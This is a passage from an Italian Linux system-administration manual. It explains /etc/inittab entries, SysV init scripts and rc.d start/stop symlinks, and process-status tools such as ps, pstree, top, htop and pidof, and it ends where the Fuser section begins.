Negli esempi seguenti, si mostra prima un record del file '`/etc/inittab`' e quindi, sotto, la sua descrizione.

- ```
  id:5:initdefault:
  ```
  Definisce il livello di esecuzione iniziale: cinque.

- ```
  si::sysinit:/etc/rc.d/rc.sysinit
  ```
  Inizializzazione del sistema: è la prima cosa a essere eseguita dopo l'avvio del sistema stesso. In pratica viene avviato lo script '`/etc/rc.d/rc.sysinit`' (Red Hat).

- ```
  l1:1:wait:/etc/rc.d/rc 1
  ```
  Indica di eseguire '`/etc/rc.d/rc`', con l'argomento '**`1`**', nel caso in cui il livello di esecuzione sia pari a uno: singolo utente (Red Hat)

- ```
  rc:2345:wait:/etc/rc.d/rc.M
  ```
  Indica lo script ('`/etc/rc.d/rc.M`') da eseguire per i livelli di esecuzione da due a cinque (Slackware).

- ```
  ca::ctrlaltdel:/sbin/shutdown -t5 -rfn now
  ```
  Indica il programma da eseguire in caso di pressione della combinazione [*Ctrl Alt Canc*]. Il livello di esecuzione non viene indicato perché è indifferente (Slackware).

- ```
  l0:0:wait:/etc/rc.d/rc 0
  ```
  Indica di eseguire '`/etc/rc.d/rc`', con l'argomento '**`0`**', nel caso in cui il livello di esecuzione sia pari a zero: arresto del sistema (Red Hat).

- ```
  l6:6:wait:/etc/rc.d/rc 6
  ```
  Indica di eseguire '`/etc/rc.d/rc`', con l'argomento '**`6`**', nel caso in cui il livello di esecuzione sia pari a sei: riavvio (Red Hat).

- ```
  pf::powerfail:/sbin/shutdown -f +5 "THE POWER IS FAILING"
  ```
  Indica il programma da eseguire quando si verifica un problema con l'alimentazione elettrica (una vecchia edizione Slackware).

- ```
  pf::powerfail:/sbin/genpowerfail start"
  ```
  Come nell'esempio precedente, ma realizzato in modo differente (Slackware).

- ```
  pg:0123456:powerokwait:/sbin/shutdown -c "THE POWER IS BACK"
  ```
  Indica il programma da eseguire se l'alimentazione elettrica torna normale prima del completamento del processo avviato quando si è verificato il problema (una vecchia edizione Slackware).

- ```
  pg::powerokwait:/sbin/genpowerfail stop"
  ```
  Come nell'esempio precedente, ma realizzato in modo differente (Slackware).

- ```
  1:12345:respawn:/sbin/mingetty tty1
  2:2345:respawn:/sbin/mingetty tty2
  3:2345:respawn:/sbin/mingetty tty3
  4:2345:respawn:/sbin/mingetty tty4
  5:2345:respawn:/sbin/mingetty tty5
  6:2345:respawn:/sbin/mingetty tty6
  ```
  Si tratta dell'elenco di console virtuali utilizzabili. La prima si attiva per tutti i livelli di esecuzione da uno a cinque, le altre solo per i livelli superiori a uno. In questo caso è '**`mingetty`**' a essere responsabile dell'attivazione delle console virtuali (Red Hat).

- ```
  s1:45:respawn:/sbin/agetty -L ttyS0 9600 vt100
  ```
  Indica l'attivazione di un terminale connesso sulla prima porta seriale. Si attiva solo con i livelli di esecuzione quattro o cinque (Slackware).

- ```
  d2:45:respawn:/sbin/agetty -mt60 38400,19200,9600,2400,1200 ttyS1 vt100
  ```
  Indica l'attivazione di un terminale remoto connesso via modem sulla seconda porta seriale. Si attiva solo con i livelli di esecuzione quattro o cinque (Slackware).

- ```
  x:5:respawn:/usr/bin/X11/xdm -nodaemon
  ```
  Nel caso il livello di esecuzione sia pari a cinque, esegue '`/usr/bin/X11/xdm`' che si occupa di avviare una procedura di accesso (*login*) all'interno dell'ambiente grafico X (Red Hat).

10.2.3 Script «/etc/initscript»

Quando lo script di shell '`/etc/initscript`' esiste, viene utilizzato da Init per avviare i processi indicati all'interno del file '`/etc/inittab`'.

`/etc/initscript` ***id livello_di_esecuzione azione processo***

Di solito questo script non è presente, tuttavia potrebbe essere utile per definire delle variabili di ambiente e altre impostazioni che riguardano l'interpretazione degli script della procedura di inizializzazione del sistema. La documentazione *initscript(5)* mostra un esempio simile a quello seguente, che dovrebbe chiarire il senso di questa possibilità.

```
# initscript   Executed by init(8) for every program it
#              wants to spawn like this:
#
#              /bin/sh /etc/initscript <id> <level> <action> <process>
#

# Set umask to safe level, and enable core dumps.
umask 022
PATH=/bin:/sbin:/usr/bin:/usr/sbin
export PATH

# Execute the program.
eval exec "$4"
```

Come si vede anche dai commenti dell'esempio, '**`initscript`**' riceve da Init degli argomenti che rappresentano tutti i campi contenuti nel record corrispondente di '`/etc/inittab`'.

10.2.4 Procedura di attivazione e disattivazione dei servizi

La prima differenza importante che distingue le varie distribuzioni GNU sta nell'organizzazione degli script della procedura di inizializzazione del sistema. Il punto di riferimento comune è Init con il suo '`/etc/inittab`'; da questo file si intende quali siano il comandi avviati in presenza di un livello di esecuzione determinato; quello che c'è dopo costituisce il problema più grosso.

Volendo semplificare molto le cose, si può pensare al fatto che ci dovrebbe essere una directory specifica, contenente un gruppetto di script utilizzato esclusivamente per questi scopi. La directory in questione non ha una collocazione standard, salvo il fatto che storicamente si trova nell'ambito della gerarchia '`/etc/`'. Le motivazioni che spingono a un'impostazione differente di questi script della procedura di inizializzazione del sistema, possono essere varie.
```

Anche la collocazione di tale directory è controversa, a cominciare dal fatto che la directory '`/etc/`' non dovrebbe contenere programmi e nemmeno script.[2]

Gli script della procedura di inizializzazione del sistema hanno il compito di avviare il sistema operativo e di fermarlo, attivando e disattivando tutti i servizi necessari, cioè intervenendo nell'avvio e nella conclusione del funzionamento dei demoni relativi.

Si può intuire che non sia possibile realizzare uno o più script del genere per avviare tutti i tipi di demone che possono essere presenti nel proprio sistema, anche perché ci possono essere dei servizi installati che però non si vogliono gestire. Di conseguenza, nella situazione più banale, quando si intende installare e gestire un nuovo servizio, occorre anche modificare la procedura di inizializzazione del sistema per attivare il demone relativo e per disattivarlo nel momento dell'arresto del sistema. Una cosa del genere può andare bene per una persona esperta, ma si tratta sempre di un'impostazione piuttosto scomoda.

Secondo una convenzione diffusa, per facilitare l'avvio e la conclusione dei servizi si definisce una directory specifica, che potrebbe essere '`/etc/rc.d/init.d/`', o '`/etc/init.d/`', o ancora '`/sbin/init.d/`', all'interno della quale si possono inserire degli script che hanno una sintassi uniforme.

nome_servizio {`start`|`stop`}

In pratica, il nome dello script tende a corrispondere a quello del servizio che si intende controllare; l'argomento costituito dalla parola chiave '**`start`**' fa sì che lo script avvii il servizio, mentre la parola chiave '**`stop`**' serve a concluderlo.

Questi script possono essere più o meno raffinati, per esempio possono accettare anche altri tipi di ordini (come '**`restart`**', allo scopo di riavviare un servizio), ma la cosa più importante è che dovrebbero evitare di avviare dei doppioni, controllando prima di avviare qualcosa, se per caso questo risulta già attivo. Naturalmente, un servizio può essere ottenuto con l'avvio di diversi programmi demone e in questo è molto comodo tale sistema di script specifici.

A titolo di esempio viene mostrato come potrebbe essere composto uno script del genere, per l'avvio del servizio ipotetico denominato '**`pippo`**', che si avvale del programma omonimo per gestirlo. Per semplicità, non vengono indicati accorgimenti particolari per controllare che il servizio sia già attivo o meno.

```
#!/bin/sh
#
# init.d/pippo {start|stop|restart}
#

# Analisi dell'argomento usato nella chiamata.
case "$1" in
  start)
        printf "Avvio del servizio Pippo: "
        /usr/sbin/pippo &
        printf "\n"
        ;;
  stop)
        printf "Disattivazione del servizio Pippo: "
        killall pippo
```

```
        printf "\n"
        ;;
  restart)
        killall -HUP pippo
        ;;
  *)
        echo "Utilizzo: pippo {start|stop|restart}"
        exit 1
esac

exit 0
```

Lo scopo e la vera utilità di questi script sta nel facilitare una standardizzazione della procedura di inizializzazione del sistema; tuttavia si può intuire la possibilità di sfruttarli anche per attivare e disattivare manualmente un servizio, senza intervenire direttamente sui programmi relativi.

Procedendo intuitivamente, si potrebbe pensare di fare in modo che la procedura di inizializzazione del sistema, provveda a eseguire tutti gli script di controllo dei servizi, utilizzando l'argomento '**`start`**' all'avvio e l'argomento '**`stop`**' allo spegnimento. Una cosa del genere è molto semplice da realizzare, ma si pongono due problemi: alcuni servizi potrebbero essere a disposizione, senza che la procedura di inizializzazione del sistema debba avviarli automaticamente; inoltre la sequenza di attivazione e di disattivazione dei servizi potrebbe essere importante.

In pratica, si utilizza un meccanismo molto semplice: si predispongono tante directory quanti sono i livelli di esecuzione gestiti attraverso il file '`/etc/inittab`'. Queste directory hanno il nome '`rc`***n***`.d/`', dove ***n*** rappresenta il numero del livello di esecuzione corrispondente. La loro collocazione effettiva potrebbe essere '`/etc/rc`***n***`.d/`', '`/etc/rc.d/rc`***n***`.d/`' o anche '`/sbin/init.d/rc`***n***`.d/`'. All'interno di queste directory si inseriscono dei collegamenti simbolici che puntano agli script descritti nella sezione precedente, in modo che siano presenti i riferimenti ai servizi desiderati per ogni livello di esecuzione (distinto in base alla directory '`rc`***n***`.d/`' particolare).

I nomi di questi collegamenti iniziano in modo speciale: '`K`***nn***' e '`S`***nn***'. I collegamenti che iniziano con la lettera «S» (*Start*) servono per individuare gli script da utilizzare per l'attivazione dei servizi, vengono avviati con l'argomento '**`start`**', in ordine alfabetico, in base alla sequenza fissata con le due cifre numeriche successive che servono proprio a distinguerne la sequenza. I collegamenti che iniziano con la lettera «K» (*Kill*) servono per individuare gli script da utilizzare per la disattivazione dei servizi, vengono avviati con l'argomento '**`stop`**', anche questi in ordine alfabetico. Ecco cosa potrebbe contenere una di queste directory:

$ **`tree rc6.d`**[*Invio*]

```
rc6.d/
|-- K11cron -> ../init.d/cron
|-- K14ppp -> ../init.d/ppp
|-- K15fetchmail -> ../init.d/fetchmail
|-- K19aumix -> ../init.d/aumix
|-- K19setserial -> ../init.d/setserial
```

```
|-- K20boa -> ../init.d/boa
|-- K20exim -> ../init.d/exim
|-- K20gpm -> ../init.d/gpm
|-- K20inetd -> ../init.d/inetd
|-- K20lprng -> ../init.d/lprng
|-- K20makedev -> ../init.d/makedev
|-- K20pcmcia -> ../init.d/pcmcia
|-- K20postgresql -> ../init.d/postgresql
|-- K20psad -> ../init.d/psad
|-- K20ssh -> ../init.d/ssh
|-- K25hwclock.sh -> ../init.d/hwclock.sh
|-- K30etc-setserial -> ../init.d/etc-setserial
|-- K79nfs-common -> ../init.d/nfs-common
|-- K80nfs-kernel-server -> ../init.d/nfs-kernel-server
|-- K85bind9 -> ../init.d/bind9
|-- K89atd -> ../init.d/atd
|-- K89hotplug -> ../init.d/hotplug
|-- K89klogd -> ../init.d/klogd
|-- K90sysklogd -> ../init.d/sysklogd
|-- S10portmap -> ../init.d/portmap
|-- S19devfsd -> ../init.d/devfsd
|-- S20sendsigs -> ../init.d/sendsigs
|-- S30urandom -> ../init.d/urandom
|-- S31umountnfs.sh -> ../init.d/umountnfs.sh
|-- S35networking -> ../init.d/networking
|-- S40umountfs -> ../init.d/umountfs
|-- S50raid2 -> ../init.d/raid2
`-- S90reboot -> ../init.d/reboot

0 directories, 37 files
```

A titolo di esempio viene mostrato un pezzo di uno script, per una shell Bourne o derivata, fatto per scandire un elenco di collegamenti del genere, allo scopo di attivare e di disattivare i servizi, a partire dai collegamenti contenuti nella directory '`/etc/rc3.d/`'. Per un lettore inesperto, questo potrebbe essere un po' difficile da leggere, ma l'esempio viene aggiunto per completare l'argomento.

```
#!/bin/sh
…
…
#
# Attivazione dei servizi del livello di esecuzione 3.
#
for I in /etc/rc3.d/K*;
do
    #
    # Disattiva il servizio.
    #
```

```
    $I stop
done
#
for I in /etc/rc3.d/S*;
do
    #
    # Attiva il servizio.
    #
    $I start
done
```

In pratica, prima si disattivano i servizi corrispondenti ai collegamenti che iniziano con la lettera «K», quindi si attivano quelli che hanno la lettera «S». Si può intuire che le directory '`rc0.d/`' e '`rc6.d/`' contengano prevalentemente, o esclusivamente, riferimenti che iniziano con la lettera «K», dal momento che i livelli di esecuzione corrispondenti portano all'arresto del sistema o al suo riavvio.

10.3 Situazione dei processi

Le informazioni sulla situazione dei processi vengono ottenute a partire dalla tabella dei processi messa a disposizione dal kernel. Dal momento che il meccanismo attraverso cui queste informazioni possono essere ottenute dal kernel non è standardizzato per tutti i sistemi Unix, questi programmi che ne permettono la consultazione hanno raramente un funzionamento conforme.

Il meccanismo utilizzato in particolare dal kernel Linux è quello del file system virtuale innestato nella directory '`/proc/`'. A questo proposito, è il caso di osservare che il pacchetto dei programmi di servizio che permettono di conoscere lo stato dei processi è denominato Procps, in riferimento a questa particolarità del kernel Linux.

10.3.1 Process status

Il controllo dello stato dei processi esistenti avviene fondamentalmente attraverso l'uso di '**`ps`**',[3] '**`pstree`**'[4] e '**`top`**'.[5] Il primo mostra un elenco di processi e delle loro caratteristiche, il secondo un albero che rappresenta la dipendenza gerarchica dei processi e il terzo l'evolversi dello stato di questi.

I programmi '**`ps`**' e '**`pstree`**' rappresentano la situazione di un istante: il primo si presta per eventuali rielaborazioni successive, mentre il secondo è particolarmente adatto a seguire l'evoluzione di una catena di processi, specialmente quando a un certo punto si verifica una transizione nella proprietà dello stesso (UID).

`#` **`ps`** [*Invio*]

```
  PID TTY STAT  TIME COMMAND
  374   1 S    0:01 /bin/login -- root
  375   2 S    0:00 /sbin/mingetty tty2
  376   3 S    0:00 /sbin/mingetty tty3
  377   4 S    0:00 /sbin/mingetty tty4
  380   5 S    0:00 /sbin/mingetty tty5
  382   1 S    0:00 -bash
  444  p0 S    0:00 su
  445  p0 S    0:00 bash
  588  p0 R    0:00 ps
```

$ **pstree -u -p** [*Invio*]

```
init(1)-+-atd(868,daemon)
        |-bdflush(6)
        |-boa(728,www-data)
        |-cron(871)
        |-devfsd(40)
        |-diskmond(812)
        |-getty(879)
        |-getty(882)
        …
        |-sh(881,tizio)---startx(889)---xinit(900)-+-Xorg(901,root)
        |                                          `-xinitrc(905)---fvwm2(907)
        …
        `-xinetd(857)
```

Invece, il programma '**top**' impegna un terminale (o una finestra di terminale all'interno del sistema grafico) per mostrare costantemente l'aggiornamento della situazione. Si tratta quindi di un controllo continuo, con l'aggiunta però della possibilità di interferire con i processi inviandovi dei segnali o cambiandone il valore nice.

Figura 10.32. Il programma '**top**'.

```
 10:13pm  up 58 min,  5 users,  load average: 0.09, 0.03, 0.01
67 processes: 65 sleeping, 2 running, 0 zombie, 0 stopped
CPU states:  5.9% user,  0.7% system,  0.0% nice, 93.5% idle
Mem:   62296K av,  60752K used,   1544K free,  36856K shrd,  22024K buff
Swap: 104416K av,      8K used, 104408K free                 16656K cached

  PID USER     PRI  NI  SIZE  RSS SHARE STAT  LIB %CPU %MEM   TIME COMMAND
  588 root      16   0  6520 6520  1368 R       0  5.1 10.4   0:02 X
  613 daniele    6   0   736  736   560 R       0  1.3  1.1   0:00 top
  596 daniele    1   0  1108 1108   872 S       0  0.1  1.7   0:00 fvwm2
    1 root       0   0   388  388   336 S       0  0.0  0.6   0:08 init
    2 root       0   0     0    0     0 SW      0  0.0  0.0   0:00 kflushd
    3 root       0   0     0    0     0 SW      0  0.0  0.0   0:00 kswapd
   82 root       0   0   352  352   300 S       0  0.0  0.5   0:00 kerneld
  139 root       0   0   448  448   364 S       0  0.0  0.7   0:00 syslogd
  148 root       0   0   432  432   320 S       0  0.0  0.6   0:00 klogd
  159 daemon     0   0   416  416   340 S       0  0.0  0.6   0:00 atd
  170 root       0   0   484  484   400 S       0  0.0  0.7   0:00 crond
  181 bin        0   0   336  336   268 S       0  0.0  0.5   0:00 portmap
  204 root       0   0   404  404   336 S       0  0.0  0.6   0:00 inetd
```

I programmi che visualizzano la situazione dei processi, utilizzano spesso delle sigle per identificare alcune caratteristiche. La tabella 10.33 ne descrive alcune.

Tabella 10.33. Elenco di alcune delle sigle utilizzate dai programmi che permettono di consultare lo stato dei processi in esecuzione.

Sigla	Descrizione
UID	Il numero UID dell'utente proprietario del processo.
PID	Il numero del processo, cioè il PID.
PPID	Il numero PID del processo genitore (quello da cui ha avuto origine).
USER	Il nome dell'utente proprietario del processo.
PRI	La priorità del processo.
NI	Il valore nice.
SIZE	La dimensione complessiva dell'immagine del processo.
RSS	La dimensione della porzione del processo residente effettivamente nella memoria centrale.
SWAP	La dimensione della porzione del processo non residente nella memoria centrale (che pertanto si trova in una memoria di scambio o *swap*).
SHARE	La quantità di memoria condivisa utilizzata dal processo.
WCHAN	L'evento per cui il processo è in attesa.
STAT	Lo stato del processo.
TT	Il terminale, se il processo ne utilizza uno.
TIME	Il tempo totale di utilizzo della CPU.
CTIME	Il tempo di CPU sommando anche l'utilizzo da parte dei processi figli.
COMMAND	Il comando utilizzato per avviare il processo.

In particolare, lo stato del processo rappresentato dalla sigla '**STAT**', viene descritto da una o più lettere alfabetiche il cui significato viene riassunto nella tabella 10.34.

Tabella 10.34. Lo stato del processo espresso attraverso una o più lettere alfabetiche.

Lettera	Stato
`R`	In funzione (residente in memoria).
`S`	In pausa o dormiente.
`D`	In pausa non interrompibile.
`T`	Sospeso.
`Z`	Defunto (zombie).
`X`	Morto.
`W`	Non utilizza la memoria centrale (pertanto è spostato completamente in una memoria di scambio).
`N`	Ha un valore nice positivo (in pratica è rallentato).

Tabella 10.35. Assieme allo stato del processo potrebbero apparire altri simboli che aggiungono informazioni.

Simbolo	Stato
`<`	Processo con un valore nice minore di zero.
`N`	Processo con un valore nice maggiore di zero.
`L`	Ha delle porzioni bloccate in memoria.
`s`	Processo principale di una sessione (di solito si tratta della shell con cui si avviano altri processi).
`+`	Processo in primo piano.

10.3.2 Utilizzo di «ps»

Il programma '**`ps`**' (*Process status*) visualizza un elenco dei processi in corso di esecuzione. Se non viene specificato diversamente, si ottiene solo l'elenco dei processi che appartengono all'utente.

```
ps [opzioni] [pid... ]
```

Dopo le opzioni possono essere indicati esplicitamente i processi (in forma dei numeri PID) in modo da ridurre a loro l'elenco ottenuto.

Tabella 10.36. Elenco di alcune delle chiavi di ordinamento utilizzabili con l'opzione '**O**', oppure '**--sort**' di '**ps**'.

Chiave	Chiave	Descrizione
`c`	`cmd`	Nome dell'eseguibile.
`C`	`cmdline`	Riga di comando completa.
`o`	`session`	Numero di sessione.
`p`	`pid`	PID.
`P`	`ppid`	PPID.
`r`	`rss`	RSS (memoria residente utilizzata).
`t`	`tty`	Terminale.
`T`	`start_time`	Orario di inizio del processo.
`U`	`uid`	UID.
`u`	`user`	Nominativo dell'utente
`y`	`priority`	Priorità.

Segue la descrizione di alcune opzioni. Si osservi che le opzioni rappresentate da un carattere singolo, possono iniziare o meno con un trattino: il comando '**ps**' per la tradizione BSD non prevede il trattino davanti alle opzioni, mentre lo standard POSIX lo richiede. Va però osservato che solo alcune volte le opzioni BSD corrispondono a quelle POSIX

Tabella 10.37. Alcune opzioni.

Opzione	Descrizione
`l` `-l`	Emette un elenco lungo, composto in sostanza da più elementi informativi.
`u`	Formato utente: viene indicato in particolare l'utente a cui appartiene ogni processo e l'ora di inizio in cui il processo è stato avviato.
`f`	Visualizza la dipendenza gerarchica tra i processi in modo semplificato.
`a`	Visualizza anche i processi appartenenti agli altri utenti.
`r`	Emette l'elenco dei soli processi in esecuzione effettivamente, escludendo così quelli che per qualunque motivo sono in uno stato di pausa.
`h`	Elimina l'intestazione dall'elenco. Può essere utile quando si vuole elaborare in qualche modo l'elenco.
`t`***x*** `-t`***x***	Permette di ottenere l'elenco dei processi associati al terminale ***x***. Per identificare un terminale, si può utilizzare il nome del file di dispositivo corrispondente, senza il percorso precedente ('`/dev/`').

Opzione	Descrizione
`e`	Mostra l'ambiente particolare del processo dopo la riga di comando.
`w`	Se la riga è troppo lunga consente la visualizzazione di una riga in più: l'opzione può essere indicata più volte in modo da specificare quante righe aggiuntive possono essere utilizzate.
`O`[+|-] ***chiave*** [[+|-] ***chiave***]... `--sort=`[+|-] ***chiave***[`,`[+|-] ***chiave***]...	Permette di ottenere un risultato ordinato in base alle chiavi di ordinamento specificate. Le chiavi di ordinamento sono composte da una sola lettera nel caso si usi l'opzione '**`O`**', mentre sono rappresentate da una parola nel caso dell'opzione '**`--sort`**' della versione GNU. Il segno '**`+`**' (sottinteso) indica un ordinamento crescente, mentre il segno '**`-`**' indica un ordinamento decrescente. Le chiavi di ordinamento sono indicate simbolicamente in base all'elenco (parziale) visibile nella tabella 10.36.

Segue la descrizione di alcuni esempi.

- `$` **`ps`** [*Invio*]

  Elenca i processi appartenenti all'utente che dà il comando.

- `$` **`ps a l`** [*Invio*]

  Elenca tutti i processi utilizzando un formato più ampio in modo da fornire più dettagli sui processi.

- `$` **`ps a r`** [*Invio*]

  Elenca tutti i processi in funzione escludendo quelli in pausa.

- `$` **`ps a l OUr`** [*Invio*]

  Elenca tutti i processi in formato allargato e riordinato per UID (numero utente) e quindi in base alla dimensione residente in memoria dei processi.

- `$` **`ps a l --sort=uid,rss`** [*Invio*]

  Equivalente all'esempio precedente.

10.3.3 Utilizzo di «pstree»

Il programma '**`pstree`**' (>*Process tree*) visualizza uno schema ad albero dei processi in corso di esecuzione. È possibile specificare un numero di processo (PID), oppure il nome di un utente per limitare l'analisi.

`pstree` [***opzioni***] [***PID*** | ***utente***]

Di solito, quando da uno stesso genitore si diramano diversi processi con lo stesso nome, questi vengono raggruppati. Per cui, l'esempio seguente rappresenta un gruppo di quattro processi '**`getty`**', tutti discendenti da Init:

$ **pstree** [*Invio*]

```
init-+-…
     …
     |-4*[getty]
     …
```

Tabella 10.39. Alcune opzioni.

Opzione	Descrizione
`-a`	Mostra tutta la riga di comando e non solo il nome del processo.
`-c`	Disabilita l'aggregazione dei processi con lo stesso nome, derivanti dallo stesso genitore.
`-h`	Evidenzia il processo corrente e i suoi predecessori (antenati), se il terminale consente una qualche forma di evidenziazione.
`-l`	Visualizza senza troncare le righe troppo lunghe.
`-p`	Mostra i PID.
`-u`	Mostra la transizione degli UID, quando da un genitore appartenente a un certo utente, viene generato un processo che appartiene a un altro.

Segue la descrizione di alcuni esempi.

- $ **pstree -a** [*Invio*]

  Mostra l'albero dei processi elaborativi, con la riga di comando usata per avviarli. In questo caso, i processi multipli non vengono raccolti assieme.

  ```
  init
    |-acpid -c /etc/acpi/events -s /var/run/acpid.socket
    |-atd
   …
    |-dhcpd3 -q eth0
   …
    `-ypbind
        |-{ypbind}
        `-{ypbind}
  ```

- $ **pstree -p** [*Invio*]

  Mostra l'albero dei processi elaborativi, con l'indicazione del numero PID per ognuno.

  ```
  init(1)-+-acpid(6342)
          |-atd(7377)
         …
          |-dhcpd3(5725)
         …
          `-ypbind(6246)-+-{ypbind}(6247)
                         `-{ypbind}(6248)
  ```

- $ **pstree -u** [*Invio*]

  Mostra l'albero dei processi elaborativi, con l'indicazione del cambiamento di utente per conto del quale sono avviati.

```
init-+-acpid
     |-atd(daemon)
    ...
     |-dhcpd3
    ...
     |-login---sh(tizio)-+-ssh
     |                   `-startx---xinit-+-Xorg(root)
     |                                    `-sh-+-fvwm2-+-FvwmTaskBar
     |                                         |       |-...
     |                                         |       `-...
     |                                         `-tee
    ...
     `-ypbind---2*[{ypbind}]
```

  Dal risultato, si intende che i processi senza indicazione del nome dell'utente, sono avviati con gli stessi privilegi del processo che a sua volta li genera. Per quanto riguarda '**init**', si intende che stia funzionando con i privilegi dell'utente '**root**'. Dall'esempio, si vede che il processo denominato '**Xorg**', ottiene i privilegi dell'utente '**root**', pur essendo avviato da un processo che ha solo i privilegi dell'utente '**tizio**', quindi deve essere stato avviato con i «permessi» SUID-root.

10.3.4 Utilizzo di «top»

Il programma '**top**' visualizza la situazione sull'utilizzo delle risorse di sistema attraverso una tabella dell'attività principale della CPU, cioè dei processi che la impegnano maggiormente.

```
top [opzioni]
```

Lo schema viene aggiornato a brevi intervalli, di conseguenza, impegna un terminale. Durante il suo funzionamento, '**top**' accetta dei comandi espressi con un carattere singolo.

Tabella 10.43. Alcune opzioni.

Opzione	Descrizione
`-d` *secondi*	Permette di specificare l'intervallo di tempo in secondi che viene lasciato trascorrere tra un aggiornamento e l'altro della tabella. Se non viene indicato questo argomento, l'intervallo di tempo tra gli aggiornamenti della tabella è di cinque secondi.
`-s`	Disabilita la possibilità di utilizzare alcuni comandi in modo interattivo. Può essere utile quando si vuole lasciare funzionare '**top**' in un terminale separato evitando incidenti.
`-i`	Permette di visualizzare anche i processi inattivi o defunti (zombie).
`-c`	Permette di visualizzare la riga di comando, invece del solo nome del programma.

Il programma '**top**' accetta dei comandi interattivi, espressi da un carattere singolo, descritti nella tabella successiva.

Tabella 10.44. Alcuni comandi interattivi.

Comando interattivo	Descrizione
h ?	La lettera '**h**' o il simbolo '**?**' fanno apparire un breve riassunto dei comandi e lo stato delle modalità di funzionamento.
k	Permette di inviare un segnale a un processo che viene indicato successivamente. Se il segnale non viene specificato, viene inviato '**SIGTERM**'.
i	Abilita o disabilita la visualizzazione dei processi inattivi e dei processi defunti (zombie).
n #	Cambia la quantità di processi da visualizzare. Il numero che esprime questa quantità viene richiesto successivamente. Il valore predefinito di questa quantità è zero, che corrisponde al numero massimo in base alle righe a disposizione sullo schermo (o sulla finestra) del terminale.
q	Termina l'esecuzione di '**top**'.
r	Permette di modificare il valore nice di un processo determinato. Dopo l'inserimento della lettera '**r**', viene richiesto il numero PID del processo su cui agire e il valore nice. Un valore nice positivo peggiora le prestazioni di esecuzione di un processo, mentre un valore negativo, che però può essere attribuito solo dall'utente '**root**', migliora le prestazioni. Se non viene specificato il valore nice, si intende 10.
S	Attiva o disattiva la modalità di visualizzazione cumulativa, con la quale, la statistica sull'utilizzo di risorse da parte di ogni processo, tiene conto anche di quello dei processi figli.
f F	Permette di aggiungere o eliminare alcuni campi nella tabella dei processi.

10.3.5 Utilizzo di «htop»

Il programma '**htop**'[6] visualizza la situazione sull'utilizzo delle risorse di sistema, in modo simile a '**top**', ma offrendo la possibilità di scorrere l'elenco di tutti i processi, utilizzando comandi interattivi più comodi:

```
htop
```

Inizialmente, '**htop**' si presenta così:

$ **htop** [*Invio*]

```
  CPU[||                           1.3%]
  Mem[|||||||||||||||||||||||||263/438MB]
  Swp[|                       0/15123MB]

   PID USER      PR  NI  VIRT   RES   SHR S CPU% MEM% COMM
  3749 Debian-c  16   0  1872    68  1700 S  0.0  0.0 less -Pwless /var/log/syslo
  3790 Debian-c  16   0  1872    68  1700 S  0.0  0.0 less -Pwless /var/log/exim/
 13319 root      15   0  6188  1800  5748 S  0.0  0.2 sshd: daniele@pts/140
 12768 root      15   0  4848  1780  4028 S  0.0  0.2 SCREEN
 13543 daniele   16   0  4656  1704  4264 S  0.0  0.2 /bin/sh
  3900 root      16   0  156M 62648  3072 S  0.0  5.8 /usr/bin/perl -w /usr/sbin/
 11305 root      26  10  3712  1980  1624 S  0.0  0.2 /usr/sbin/mathopd -f /etc/m
  3591 root      16   0  1584   356  1416 S  0.0  0.0 /sbin/syslogd -rm 0
  3594 root      16   0  2728   180  1368 S  0.0  0.0 /sbin/klogd -c 3
  3905 root      16   0  1508    32  1356 S  0.0  0.0 /usr/sbin/kmsgsd
     1 root      16   0  1528    80  1376 S  0.0  0.0 init [2]
    32 root      15   0     0     0     0 S  0.0  0.0 kapmd
  3950 root      15   0  1796   268  1608 S  0.0  0.0 /usr/sbin/cron
 32368 root      16   0  1516   136  1360 S  0.0  0.0 /usr/sbin/psadwatchd
 12770 daniele   15   0 32184 28888  4932 S  0.0  2.7 mc
  3963 root      16   0    36    24    16 S  0.0  0.0 runsvdir /var/service log:
    36 root      15   0     0     0     0 S  0.0  0.0 kswapd0
     2 root      34  19     0     0     0 S  0.0  0.0 ksoftirqd/0
 1Help  2Follow 3Search 4Invert 5Sort<- 6Sort-> 7Nice - 8Nice + 9Kill  10Quit
```

Attraverso i tasti [*freccia-su*] e [*freccia-giù*] è possibile scorrere l'elenco dei processi elaborativi presenti, mentre con la [*barra-spaziatrice*] è possibile selezionare uno o più processi. Nella parte inferiore dello schermo, vengono riepilogati i comandi principali che si impartiscono attraverso l'uso dei primi dieci tasti funzionali.

Tabella 10.46. Comandi principali.

Tasto	Descrizione
[*barra-spaziatrice*]	Seleziona il processo che si trova sotto alla barra di scorrimento. Alcuni comandi possono operare su gruppi di processi; in tal caso si fa riferimento a quelli selezionati in questo modo.
[*F1*], [*h*]	Mostra una guida riassuntiva dei comandi disponibili.
[*F2*]	Fa in modo di mantenere in evidenza il processo su cui si trova la barra di scorrimento. Se la barra viene spostata, la richiesta viene annullata.
[*F3*], [*/*]	Esegue una ricerca.
[*F4*]	Inverte l'ordinamento.
[*F5*], [*F6*]	Cambia il criterio di ordinamento in base alla colonna o a quella successiva. L'intestazione della colonna secondo cui è applicato l'ordinamento risulta evidenziata rispetto alle altre.
[*F7*], [*]*], [*F8*], [*[*]	Incrementa o decrementa la priorità di esecuzione del processo evidenziato dalla barra di scorrimento. Solo l'utente '**`root`**' può aumentare la priorità (ovvero può ridurre il valore *nice*).
[*F9*], [*k*]	Invia un segnale ai processi selezionati, oppure a quello evidenziato dalla barra di selezione. Alla pressione del tasto segue un menù di segnali, tra cui scegliere quello desiderato.
[*F10*], [*q*]	Termina il funzionamento del programma.
[*M*]	Seleziona un ordinamento in base all'utilizzo della memoria.
[*P*]	Seleziona un ordinamento in base all'utilizzo della CPU.
[*C*]	Richiama la selezione delle colonne da visualizzare.

10.3.6 Determinazione del numero PID

Attraverso il programma '**pidof**'[7] è possibile determinare i numeri dei processi elaborativi PID corrispondenti al nome che viene fornito:

```
pidof [opzioni] programma...
```

Per esempio, per conoscere i numeri PID dei processi avviati con il nome '**named**', si usa il comando seguente:

$ **pidof named** [*Invio*]

```
2707
```

Bisogna però considerare che non sempre si ottengono effettivamente tutti i numeri PID; nel caso dell'esempio mostrato la situazione reale potrebbe essere quella seguente:

$ **pstree -p** [*Invio*]

```
init(1)-+-...
        ...
         |-named(2707)-+-{named}(2708)
         |             |-{named}(2709)
         |             `-{named}(2710)
        ...
```

Si veda anche la pagina di manuale *pidof(8)*.

10.4 Accesso ai file

A volte è importante conoscere se un file è utilizzato da qualche processo. Per questo si possono utilizzare i programmi Fuser[8] e Lsof,[9] che sono in grado di dare qualche informazione aggiuntiva del modo in cui tale file viene utilizzato.

10.4.1 Fuser

Fuser si compone in pratica dell'eseguibile '**fuser**' che si utilizza con la sintassi seguente:

```
